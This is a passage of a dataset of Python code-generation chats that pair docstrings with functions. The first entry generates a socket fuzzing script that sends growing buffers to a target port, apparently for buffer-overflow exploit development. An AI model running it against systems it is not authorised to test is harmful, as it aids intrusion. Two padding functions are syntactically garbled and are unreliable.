fuzz_char.", "conversation_id": 493, "message_id": 1 }, { "role": "assistant", "content": "def dump_remote_fuzz():\n\tfilename = 'fuzzing.py'\n\tcontent = '''\\\n#!/usr/bin/python3\nimport socket as so\n# --- Define target ------------------------\ntarget = '{target}'\nport = {port}\n# ------------------------------------------\n# --- Build fuzzing buffer -----------------\nfuzz_buffer = []\ncounter = {step} - len({cmd}) - len({ecmd})\nwhile len(fuzz_buffer) <= {buff_len}:\n fuzz_buffer.append({char}*counter)\n counter = counter + {step}\n# ------------------------------------------\nfor item in fuzz_buffer:\n\twith so.socket(so.AF_INET, so.SOCK_STREAM) as s:\n\t\ttry:\n\t\t\ts.settimeout(5)\n\t\t\tprint(' [*] Connecting to', target)\n\t\t\tconnect = s.connect_ex((target, port))\n\t\t\t# Stop script if connection cannot be established\n\t\t\tif connect != 0:\n\t\t\t\tprint('[!] Connection failed')\n\t\t\t\texit(1)\n\t\t\t# Connection established: send request\n\t\t\ttry:\n\t\t\t\t# Catch initial response if any\n\t\t\t\ttry:\n\t\t\t\t\tprint('[*] Received response: ' + str(s.recv(1024)))\n\t\t\t\texcept so.timeout:\n\t\t\t\t\tpass\n\t\t\t\tcommand = {cmd} + item + {ecmd}\n\t\t\t\tprint(' [*] Fuzzing with', len(command), 'bytes')\n\t\t\t\ts.send(command)\n\t\t\t\ttry:\n\t\t\t\t\tprint('[*] Received response: ' + str(s.recv(1024)))\n\t\t\t\texcept so.timeout:\n\t\t\t\t\tpass\n\t\t\t\tprint('[*] Done')\n\t\t\t# Stop on timeout\n\t\t\texcept so.timeout:\n\t\t\t\tprint('[!] Connection failed due to socket timeout.')\n\t\t\t\texit(1)\t\n\t\texcept (BrokenPipeError, ConnectionResetError):\n\t\t\tprint('[!] The connection was closed while sending the payload')\n\t\t\texit(1)\n'''.format(target=target,\n\t\t port=port,\n\t\t step=increase_step,\n\t\t buff_len=fuzz_buff_length,\n\t\t char=fuzz_char,\n\t\t cmd=start_command,\n\t\t ecmd=end_command)\n\ttry:\n\t\twith open(filename, 'w') as f:\n\t\t\tf.write(content)\n\t\tprint_success('Created fuzzing file {}'.format(filename))\n\texcept OSError as ex:\n\t\tprint_error('Error while creating the fuzzing file:\\n {}'.format(ex.strerror))", "conversation_id": 493, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 494, "message_id": 0 }, { "role": "user", "content": "Prints ingredients for making `count` arepas.\nF-string of original code.", "conversation_id": 494, "message_id": 1 }, { "role": "assistant", "content": "def ingredients(count):\n print(f'{count*0.1} cups arepa flour')\n print(f'{count*0.1} cups cheese')\n print(f'{count*0.025} cups water')", "conversation_id": 494, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 495, "message_id": 0 }, { "role": "user", "content": "Train the word2vec model for document vector representation..", "conversation_id": 495, "message_id": 1 }, { "role": "assistant", "content": "def fit(self, X, y=None):\n self.sentences = X\n self.word2vec = gensim.models.Word2Vec(MySentences(self.sentences), *self.args, **self.kwargs)\n self.model = dict(zip(self.word2vec.wv.index2word, self.word2vec.wv.vectors))\n tfidf = TfidfVectorizer(analyzer=lambda x: x)\n tfidf.fit(X)\n max_idf = max(tfidf.idf_)\n self.word2weight = defaultdict(\n lambda: max_idf, \n [(w, tfidf.idf_[i]) for w, i in tfidf.vocabulary_.items()]\n )\n return self", "conversation_id": 495, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 496, "message_id": 0 }, { "role": "user", "content": "Transform a sequence of documents to vectors..", "conversation_id": 496, "message_id": 1 }, { "role": "assistant", "content": "def transform(self, X, y=None):\n return np.array([\n np.mean([self.model[w] * self.word2weight[w]\n for w in words if w in self.model] or\n [np.random.rand(self.size)], axis=0)\n for words in MySentences(X)\n ])", "conversation_id": 496, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 497, "message_id": 0 }, { "role": "user", "content": "Combine `fit` and `transform` functions.\nIt trains the model on the given data then transforming\nand returning the training data into vectors..", "conversation_id": 497, "message_id": 1 }, { "role": "assistant", "content": "def fit_transform(self, X, y=None):\n temp = self.fit(X)\n return temp.transform(X)", "conversation_id": 497, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 498, "message_id": 0 }, { "role": "user", "content": "Treats gRPC inputs and assembles lua command. Specifically, checks if required field have been specified,\nif the values and types are correct and, for each input/input_type adds the argument to the lua command..", "conversation_id": 498, "message_id": 1 }, { "role": "assistant", "content": "def treat_inputs(self, request, arguments, created_images):\n model_path = self.model_dir\n file_index_str = \"\"\n image_path = \"\"\n for field, values in arguments.items():\n default = values[2]\n try:\n arg_value = eval(\"request.{}\".format(field))\n except Exception as e: \n log.error(e)\n return False\n print(\"Received request.{} = \".format(field))\n print(arg_value)\n if field == \"input\":\n log.debug(\"Treating input image field.\")\n assert(request.input != \"\"), \"Input image field should not be empty.\"\n try:\n image_path, file_index_str = \\\n service.treat_image_input(arg_value, self.input_dir, \"{}\".format(field))\n print(\"Image path: {}\".format(image_path))\n created_images.append(image_path)\n except Exception as e:\n log.error(e)\n raise\n elif field == \"model\":\n log.debug(\"Treating model field. Forcing model to be ESRGAN.\")\n model_path += self.esrgan_model\n elif field == \"scale\":\n log.debug(\"Treating scale field. Forcing scale to be 4.\")\n scale = 4\n model_path += str(scale)\n else:\n log.error(\"Request field not found.\")\n return False\n if image_path == \"\":\n log.error(\"Empty image_path (filename). Something went wrong when treating input.\")\n model_path += self.model_suffix\n log.debug(\"Successfully treated input.\")\n return image_path, model_path, file_index_str", "conversation_id": 498, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 499, "message_id": 0 }, { "role": "user", "content": "Increases the resolution of a given image (request.image).", "conversation_id": 499, "message_id": 1 }, { "role": "assistant", "content": "def increase_image_resolution(self, request, context):\n created_images = []\n arguments = {\"input\": (\"image\", True, None),\n \"model\": (\"string\", True, None),\n \"scale\": (\"int\", False, 4)}\n try:\n image_path, model_path, file_index_str = self.treat_inputs(request, arguments, created_images)\n except HTTPError as e:\n error_message = \"Error downloading the input image \\n\" + e.read()\n log.error(error_message)\n self.result.data = error_message\n return self.result\n except Exception as e:\n log.error(e)\n self.result.data = e\n return self.result\n log.debug(\"Treated input.\")\n with Pool(1) as p:\n try:\n output = p.apply(_increase_image_resolution, (model_path, image_path))\n except Exception as e:\n log.error(e)\n self.result.data = e\n return self.result\n log.debug(\"Returning on service complete!\")\n input_filename = os.path.split(created_images[0])[1]\n log.debug(\"Input file name: {}\".format(input_filename))\n output_image_path = self.output_dir + '/' + input_filename\n log.debug(\"Output image path: {}\".format(output_image_path))\n try:\n cv2.imwrite(output_image_path, output)\n created_images.append(output_image_path)\n except Exception as e:\n log.error(\"Error writing output image to file.\")\n log.error(e)\n self.result.data = e\n return self.result\n if input_filename.split('.')[1] == 'png':\n log.debug(\"Encoding from PNG.\")\n self.result.data = service.png_to_base64(output_image_path).decode(\"utf-8\")\n else:\n log.debug(\"Encoding from JPG.\")\n self.result.data = service.jpg_to_base64(output_image_path, open_file=True).decode(\"utf-8\")\n log.debug(\"Output image generated. Service successfully completed.\")\n for image in created_images:\n service.serviceUtils.clear_file(image)\n return self.result", "conversation_id": 499, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 500, "message_id": 0 }, { "role": "user", "content": "The gRPC serve function.\nParams:\nmax_workers: pool of threads to execute calls asynchronously\nport: gRPC server port\n\nAdd all your classes to the server here.\n(from generated .py files by protobuf compiler).", "conversation_id": 500, "message_id": 1 }, { "role": "assistant", "content": "def serve(max_workers=5, port=7777):\n server = grpc.server(futures.ThreadPoolExecutor(max_workers=max_workers))\n grpc_bt_grpc.add_SuperResolutionServicer_to_server(\n SuperResolutionServicer(), server)\n server.add_insecure_port('[::]:{}'.format(port))\n log.debug(\"Returning server!\")\n return server", "conversation_id": 500, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 501, "message_id": 0 }, { "role": "user", "content": "Load the PyTorch model from the `model_dir` directory..", "conversation_id": 501, "message_id": 1 }, { "role": "assistant", "content": "def model_fn(model_dir):\n print(\"Loading model.\")\n model_info = {}\n model_info_path = os.path.join(model_dir, 'model_info.pth')\n with open(model_info_path, 'rb') as f:\n model_info = torch.load(f)\n print(\"model_info: {}\".format(model_info))\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n INPUT_DIM = model_info['INPUT_DIM']\n WORD_EMBEDDING_DIM = model_info['WORD_EMBEDDING_DIM']\n N_FILTERS = model_info['N_FILTERS']\n FILTER_SIZES = model_info['FILTER_SIZES']\n AUTHOR_DIM = model_info['AUTHOR_DIM']\n DROPOUT = model_info['DROPOUT']\n PAD_IDX = model_info['PAD_IDX']\n model = CNN(INPUT_DIM, WORD_EMBEDDING_DIM, N_FILTERS, FILTER_SIZES, \\\n AUTHOR_DIM, DROPOUT, PAD_IDX)\n model_path = os.path.join(model_dir, 'model_state.pt')\n with open(model_path, 'rb') as f:\n model.load_state_dict(torch.load(f))\n word_dict_path = os.path.join(model_dir, 'word_dict.pkl')\n with open(word_dict_path, 'rb') as f:\n model.word_dict = pickle.load(f)\n model.to(device).eval()\n print(\"Done loading model.\")\n return model, model_info['TRAIN_HISTORY']", "conversation_id": 501, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 502, "message_id": 0 }, { "role": "user", "content": "Load the PyTorch model from the `model_dir` directory..", "conversation_id": 502, "message_id": 1 }, { "role": "assistant", "content": "def model_fn(model_dir):\n print(\"Loading model.\")\n model_info = {}\n model_info_path = os.path.join(model_dir, 'model_info.pth')\n with open(model_info_path, 'rb') as f:\n model_info = torch.load(f)\n print(\"model_info: {}\".format(model_info))\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n INPUT_DIM = model_info['INPUT_DIM']\n WORD_EMBEDDING_DIM = model_info['WORD_EMBEDDING_DIM'] \n N_FILTERS = model_info['N_FILTERS']\n FILTER_SIZES = model_info['FILTER_SIZES']\n AUTHOR_DIM = model_info['AUTHOR_DIM']\n DROPOUT = model_info['DROPOUT']\n PAD_IDX = model_info['PAD_IDX']\n model = CNN(INPUT_DIM, WORD_EMBEDDING_DIM, N_FILTERS, FILTER_SIZES, AUTHOR_DIM, DROPOUT, PAD_IDX)\n print(\"Model loaded with embedding_dim {}, vocab_size {}.\".format(\n WORD_EMBEDDING_DIM, INPUT_DIM))\n model_path = os.path.join(model_dir, 'model_state.pt')\n with open(model_path, 'rb') as f:\n model.load_state_dict(torch.load(f))\n word_dict_path = os.path.join(model_dir, 'word_dict.pkl')\n with open(word_dict_path, 'rb') as f:\n model.word_dict = pickle.load(f)\n model.to(device).eval()\n print(\"Done loading model.\")\n return model", "conversation_id": 502, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 503, "message_id": 0 }, { "role": "user", "content": "ls list to be cut/padded to length n.", "conversation_id": 503, "message_id": 1 }, { "role": "assistant", "content": "def pad_to_n(ls, n = FIX_WORD_LENGTH):\n ls= ls[:n]\n if len(ls)']*(n-len(ls))) + ls\n return ls", "conversation_id": 503, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 504, "message_id": 0 }, { "role": "user", "content": "Gets wordlend of a poem,\nif larger than SPLIT_INTO partions into next paragraph\nreturn author, title and poem broken in this way.", "conversation_id": 504, "message_id": 1 }, { "role": "assistant", "content": "def poem_fragments(poem_series, split_into):\n poem = poem_series\n poem_author = poem.author\n poem_title = poem.title\n poem_content = poem.content\n poem_pa= poem.content.split('.\\n')\n i=0\n while ((i+1)!=(len(poem_pa))):\n if (len(poem_pa[i].split())>=split_into):\n poem_pa[i]=poem_pa[i]+'.\\n'\n i+=1\n else:\n poem_pa[i] = poem_pa[i]+'.\\n'+poem_pa[i+1]\n del poem_pa[i+1]\n return (poem_author, poem_title ,poem_pa)", "conversation_id": 504, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 505, "message_id": 0 }, { "role": "user", "content": "ls list to be cut/padded to length n.", "conversation_id": 505, "message_id": 1 }, { "role": "assistant", "content": "def slice_and_pad_to_n(ls, n):\n ls= ls[:n]\n if len(ls)']*(n-len(ls))) + ls\n return ls", "conversation_id": 505, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 506, "message_id": 0 }, { "role": "user", "content": "List to tockens\nword_dict: dictionary of tokens\ntoken_list: word list.", "conversation_id": 506, "message_id": 1 }, { "role": "assistant", "content": "def tokenize_poem(token_list, word_dict):\n aux =[word_dict[w] if w in word_dict else word_dict[''] for w in token_list]\n return aux", "conversation_id": 506, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 507, "message_id": 0 }, { "role": "user", "content": "poem extract as list\nword_length: final word length of poems\ntoken_dict: tokens dictionary\ntokenized_poems: tokenized poems.", "conversation_id": 507, "message_id": 1 }, { "role": "assistant", "content": "def tokenize_pad_slice_poems(data, word_length, word_dict):\n data = [slice_and_pad_to_n(p, word_length) for p in data]\n tokenized_poems = [tokenize_poem(p ,word_dict) for p in data]\n return tokenized_poems", "conversation_id": 507, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 508, "message_id": 0 }, { "role": "user", "content": "data : poems list created by spacy and torchtext\nword_length: fix poems to have this number of tokens (not only words)\ndata_dir: dir to store data_dir\nfile_name: file name to store data.", "conversation_id": 508, "message_id": 1 }, { "role": "assistant", "content": "def process_and_save(data, word_length, word_dict, data_dir, file_name):\n data_list = [i.content for i in data.examples]\n labels_list = [i.author_label for i in data.examples]\n poems_list = tokenize_pad_slice_poems(data_list, word_length, word_dict)\n path_to_file = os.path.join(data_dir, file_name)\n with open(path_to_file, 'wb') as f:\n pickle.dump((poems_list,labels_list), f)", "conversation_id": 508, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 509, "message_id": 0 }, { "role": "user", "content": "Visualizes coordinates in dataframe on map\nRetrieves columns with name latitude and logitude and visualizes it on a map..", "conversation_id": 509, "message_id": 1 }, { "role": "assistant", "content": "def visualize_coordinates(df: pd.DataFrame, latitude: str, longitude: str) -> None :\n fig = px.scatter_mapbox(df, lat=latitude, lon=longitude,\n color_continuous_scale=px.colors.cyclical.IceFire, size_max=15, zoom=10,\n mapbox_style=\"carto-positron\")\n fig.show()", "conversation_id": 509, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 510, "message_id": 0 }, { "role": "user", "content": "Fetches the data for a city if the data is not yet cashed on the computer..", "conversation_id": 510, "message_id": 1 }, { "role": "assistant", "content": "def fetch_data_city(city: str) -> None:\n compression = \".xz\"\n folder = os.path.join(\".\",\"data\")\n def file_path(file_name: str) -> str:\n return os.path.join(folder, file_name)\n if not(os.path.exists(folder)):\n os.mkdir(folder)\n tiles_path = file_path(f'{city}Tiles.pkl{compression}')\n hourly_dem_path = file_path(f'{city}HourlyDemographics.pkl{compression}')\n hourly_density_path = file_path(f'{city}HourlyDensity.pkl{compression}')\n daily_density_path = file_path(f'{city}DensityDaily.pkl{compression}')\n daily_demographics_path = file_path(f'{city}DemographicsDaily.pkl{compression}')\n if not(os.path.isfile(tiles_path)):\n tiles = get_tiles(get_municipalityID(city)[0])\n tiles.to_pickle(tiles_path)\n else:\n tiles = pd.read_pickle(tiles_path)\n if not(os.path.isfile(hourly_dem_path)):\n hourly_dem = get_hourly_demographics_dataframe(tiles['tileID'].to_numpy())\n hourly_dem.to_pickle(hourly_dem_path)\n if not(os.path.isfile(hourly_density_path)):\n hourly_dens = get_hourly_density_dataframe(tiles['tileID'].to_numpy())\n hourly_dens.to_pickle(hourly_density_path)\n if not(os.path.isfile(daily_density_path)):\n get_daily_density(tiles['tileID'].to_numpy()).to_pickle(daily_density_path)\n if not(os.path.isfile(daily_demographics_path)):\n get_daily_demographics(tiles['tileID'].to_numpy()).to_pickle(daily_demographics_path)", "conversation_id": 510, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 511, "message_id": 0 }, { "role": "user", "content": "Cleans the list of cities by removing all the cities that are not found in the\nofficial list of cities provided by the Federal Statisitics Office.\n\nList of cities to check and clean.\n\nList containing a subset of the input list such that all elements are valid..", "conversation_id": 511, "message_id": 1 }, { "role": "assistant", "content": "def clean_cities_list(cities: [str]) -> [str]:\n invalid_cities = []\n for c in cities:\n if len(commune.loc[commune.GDENAME == c].GDENR.to_numpy()) == 0:\n city = []\n sim_value = []\n for f in commune.GDENAME:\n r = SequenceMatcher(None, c, f).ratio()\n if r > 0.5:\n city.append(f)\n sim_value.append(r)\n d = pd.DataFrame(data={\"city\": city, \"value\": sim_value})\n potential_cities = d.sort_values(\"value\", ascending=False).head(5).city.to_numpy()\n print(f\"City nammed: {c} cannot be found in official records. Did you mean: {potential_cities} ? {c} will be ignored.\")\n invalid_cities.append(c)\n return [c for c in cities if not(c in invalid_cities)]", "conversation_id": 511, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 512, "message_id": 0 }, { "role": "user", "content": "Downloads the excel spreadsheet from the Swiss Federal Statistical Office that maps the town name to unique ID.", "conversation_id": 512, "message_id": 1 }, { "role": "assistant", "content": "def download_commune_excel() -> None:\n print('Beginning commune file download with requests')\n folder = os.path.join(\".\",\"data\")\n if not(os.path.exists(folder)):\n os.mkdir(folder)\n url = 'https://www.bfs.admin.ch/bfsstatic/dam/assets/11467406/master'\n r = requests.get(url)\n with open(os.path.join(\".\", \"data\", 'commune.xlsx'), 'wb') as f:\n f.write(r.content)\n print(\"End of commune file download\")", "conversation_id": 512, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 513, "message_id": 0 }, { "role": "user", "content": "Assert that a redis operation returns the expected result..", "conversation_id": 513, "message_id": 1 }, { "role": "assistant", "content": "def assert_redis_op(self, redis, expected, op, *args, **kw):\n raise NotImplementedError(\".assert_redis_op() method not implemented.\")", "conversation_id": 513, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 514, "message_id": 0 }, { "role": "user", "content": "Assert that a redis operation raises an exception..", "conversation_id": 514, "message_id": 1 }, { "role": "assistant", "content": "def assert_redis_error(self, redis, op, *args, **kw):\n raise NotImplementedError(\n \".assert_redis_error() method not implemented.\")", "conversation_id": 514, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 515, "message_id": 0 }, { "role": "user", "content": "Wait some number of seconds, either for real or by advancing a clock..", "conversation_id": 515, "message_id": 1 }, { "role": "assistant", "content": "def wait(self, delay):\n raise NotImplementedError(\".wait() method not implemented.\")", "conversation_id": 515, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 516, "message_id": 0 }, { "role": "user", "content": "Perform an operation on both the fake and real Redises and assert that\nthe responses and errors are the same.\n\nThis method is a generator and is not used directly. It's wrapped\nwith an appropriate sync/async wrapper in __init__() above..", "conversation_id": 516, "message_id": 1 }, { "role": "assistant", "content": "def _perform_operation_gen(self, op, *args, **kw):\n results = []\n errors = []\n for redis in [self._fake_redis, self._real_redis]:\n try:\n result = yield getattr(redis, op)(*args, **kw)\n except Exception as e:\n errors.append(e)\n if results != []:\n self._test_case.fail(\n \"Fake redis returned %r but real redis raised %r\" % (\n results[0], errors[0]))\n else:\n results.append(result)\n if errors != []:\n self._test_case.fail(\n \"Real redis returned %r but fake redis raised %r\" % (\n results[0], errors[0]))\n if errors:\n fake_type, real_type = type(errors[0]), type(errors[1])\n if real_type is self._real_redis.RESPONSE_ERROR:\n real_type = self._fake_redis.RESPONSE_ERROR\n self._test_case.assertEqual(\n fake_type, real_type,\n (\"Fake redis (a) and real redis (b) errors different:\"\n \"\\n a = %r\\n b = %r\") % tuple(errors))\n raise errors[0]\n self._test_case.assertEqual(\n results[0], results[1],\n \"Fake redis (a) and real redis (b) responses different:\"\n \"\\n a = %r\\n b = %r\" % tuple(results))\n returnValue(results[0])", "conversation_id": 516, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 517, "message_id": 0 }, { "role": "user", "content": "Check if this might be a delivery report with optional PDU parameters..", "conversation_id": 517, "message_id": 1 }, { "role": "assistant", "content": "def _handle_delivery_report_optional_params(self, pdu):\n pdu_opts = unpacked_pdu_opts(pdu)\n receipted_message_id = pdu_opts.get('receipted_message_id', None)\n message_state = pdu_opts.get('message_state', None)\n if receipted_message_id is None or message_state is None:\n return succeed(False)\n status = self.STATUS_MAP.get(message_state, 'UNKNOWN')\n d = self.transport.handle_delivery_report(\n receipted_message_id=receipted_message_id,\n delivery_status=self.delivery_status(status),\n smpp_delivery_status=status)\n d.addCallback(lambda _: True)\n return d", "conversation_id": 517, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 518, "message_id": 0 }, { "role": "user", "content": "Construct and dispatch a delivery report based on content fields as\nmatched by our regex..", "conversation_id": 518, "message_id": 1 }, { "role": "assistant", "content": "def _process_delivery_report_content_fields(self, content_fields):\n receipted_message_id = content_fields['id']\n message_state = content_fields['stat']\n return self.transport.handle_delivery_report(\n receipted_message_id=receipted_message_id,\n delivery_status=self.delivery_status(message_state),\n smpp_delivery_status=message_state)", "conversation_id": 518, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 519, "message_id": 0 }, { "role": "user", "content": "Check if the ``esm_class`` indicates that this is a delivery report.\n\nWe assume the message content is a string that matches our regex.\nWe can't use the usual decoding process here because it lives\nelsewhere and the content should be plain ASCII generated by the\nSMSC anyway..", "conversation_id": 519, "message_id": 1 }, { "role": "assistant", "content": "def _handle_delivery_report_esm_class(self, pdu):\n if not self.config.delivery_report_use_esm_class:\n return succeed(False)\n esm_class = pdu[\"body\"][\"mandatory_parameters\"][\"esm_class\"]\n if not (esm_class & self.ESM_CLASS_MASK):\n return succeed(False)\n content = pdu[\"body\"][\"mandatory_parameters\"][\"short_message\"]\n match = self.config.delivery_report_regex.search(content or '')\n if not match:\n self.log.warning(\n (\"esm_class %s indicates delivery report, but content\"\n \" does not match regex: %r\") % (esm_class, content))\n return succeed(True)\n fields = match.groupdict()\n d = self._process_delivery_report_content_fields(fields)\n d.addCallback(lambda _: True)\n return d", "conversation_id": 519, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 520, "message_id": 0 }, { "role": "user", "content": "Call the appropriate `submit_*` method depending on config..", "conversation_id": 520, "message_id": 1 }, { "role": "assistant", "content": "def send_short_message(self, service, vumi_message_id, destination_addr,\n content, data_coding=0, source_addr='',\n optional_parameters=None):\n kwargs = dict(\n vumi_message_id=vumi_message_id,\n destination_addr=destination_addr,\n short_message=content,\n data_coding=data_coding,\n source_addr=source_addr,\n optional_parameters=optional_parameters)\n if self.config.send_long_messages:\n kwargs['long_message'] = kwargs.pop('short_message')\n return service.submit_sm_long(**kwargs)\n elif self.config.send_multipart_sar:\n kwargs['reference_rollover'] = (\n self.config.multipart_sar_reference_rollover)\n return service.submit_csm_sar(**kwargs)\n elif self.config.send_multipart_udh:\n return service.submit_csm_udh(**kwargs)\n return service.submit_sm(**kwargs)", "conversation_id": 520, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 521, "message_id": 0 }, { "role": "user", "content": "Decorate a method that calls a manager.\nThis redecorates with the `call_decorator` attribute on the Manager\nsubclass used, which should be either @inlineCallbacks or\n@flatten_generator..", "conversation_id": 521, "message_id": 1 }, { "role": "assistant", "content": "def calls_manager(manager_attr):\n if callable(manager_attr):\n return Manager.calls_manager('manager')(manager_attr)\n def redecorate(func):\n @wraps(func)\n def wrapper(self, *args, **kw):\n manager = getattr(self, manager_attr)\n return manager.call_decorator(func)(self, *args, **kw)\n return wrapper\n return redecorate", "conversation_id": 521, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 522, "message_id": 0 }, { "role": "user", "content": "Construct a manager from a dictionary of options..", "conversation_id": 522, "message_id": 1 }, { "role": "assistant", "content": "def from_config(cls, config):\n client_config = config.copy()\n manager_config = {\n 'config': config.copy(),\n 'key_prefix': client_config.pop('key_prefix', None),\n 'key_separator': client_config.pop('key_separator', ':'),\n }\n fake_redis = client_config.pop('FAKE_REDIS', None)\n if 'VUMITEST_REDIS_DB' in os.environ:\n fake_redis = None\n client_config['db'] = int(os.environ['VUMITEST_REDIS_DB'])\n if fake_redis is not None:\n if isinstance(fake_redis, cls):\n fake_redis = fake_redis._client\n if isinstance(fake_redis, FakeRedis):\n pass\n else:\n fake_redis = None\n return cls._fake_manager(fake_redis, manager_config)\n return cls._manager_from_config(client_config, manager_config)", "conversation_id": 522, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 523, "message_id": 0 }, { "role": "user", "content": "Construct a client from a dictionary of options..", "conversation_id": 523, "message_id": 1 }, { "role": "assistant", "content": "def _manager_from_config(cls, client_config, manager_config):\n raise NotImplementedError(\"Sub-classes of Manager should implement\"\n \" ._manager_from_config(...)\")", "conversation_id": 523, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 524, "message_id": 0 }, { "role": "user", "content": "Delete *ALL* keys whose names start with this manager's key prefix.\nUse only in tests..", "conversation_id": 524, "message_id": 1 }, { "role": "assistant", "content": "def _purge_all(self):\n raise NotImplementedError(\"Sub-classes of Manager should implement\"\n \" ._purge_all()\")", "conversation_id": 524, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 525, "message_id": 0 }, { "role": "user", "content": "Make a redis API call using the underlying client library..", "conversation_id": 525, "message_id": 1 }, { "role": "assistant", "content": "def _make_redis_call(self, call, *args, **kw):\n raise NotImplementedError(\"Sub-classes of Manager should implement\"\n \" ._make_redis_call()\")", "conversation_id": 525, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 526, "message_id": 0 }, { "role": "user", "content": "Filter results of a redis call..", "conversation_id": 526, "message_id": 1 }, { "role": "assistant", "content": "def _filter_redis_results(self, func, results):\n raise NotImplementedError(\"Sub-classes of Manager should implement\"\n \" ._filter_redis_results()\")", "conversation_id": 526, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 527, "message_id": 0 }, { "role": "user", "content": "Generate a key using this manager's key prefix.", "conversation_id": 527, "message_id": 1 }, { "role": "assistant", "content": "def _key(self, key):\n if self._key_prefix is None:\n return key\n return \"%s%s%s\" % (self._key_prefix, self._key_separator, key)", "conversation_id": 527, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 528, "message_id": 0 }, { "role": "user", "content": "Strip off manager's key prefix from a key.", "conversation_id": 528, "message_id": 1 }, { "role": "assistant", "content": "def _unkey(self, key):\n prefix = \"%s%s\" % (self._key_prefix, self._key_separator)\n if key.startswith(prefix):\n return key[len(prefix):]\n return key", "conversation_id": 528, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 529, "message_id": 0 }, { "role": "user", "content": "Return the result with some fake delay. If we're in async mode, add\nsome real delay to catch code that doesn't properly wait for the\ndeferred to fire..", "conversation_id": 529, "message_id": 1 }, { "role": "assistant", "content": "def _delay_operation(self, func, args, kw):\n self.clock.advance(0.1)\n if self._is_async:\n d = Deferred()\n delayed = reactor.callLater(\n FAKE_REDIS_WAIT, call_to_deferred, d, func, self, *args, **kw)\n self._delayed_calls.append(delayed)\n return d\n else:\n return func(self, *args, **kw)", "conversation_id": 529, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 530, "message_id": 0 }, { "role": "user", "content": "Sort keys in a consistent but non-obvious way.\nWe sort by the crc32 of the key, that being cheap and good enough for\nour purposes here..", "conversation_id": 530, "message_id": 1 }, { "role": "assistant", "content": "def _sort_keys_by_hash(self, keys):\n return sorted(keys, key=crc32)", "conversation_id": 530, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 531, "message_id": 0 }, { "role": "user", "content": "Turn a vumi_date-formatted string into a string that sorts in reverse order\nand can be turned back into a timestamp later.\n\nThis is done by converting to a unix timestamp and subtracting it from\n0xffffffffff (2**40 - 1) to get a number well outside the 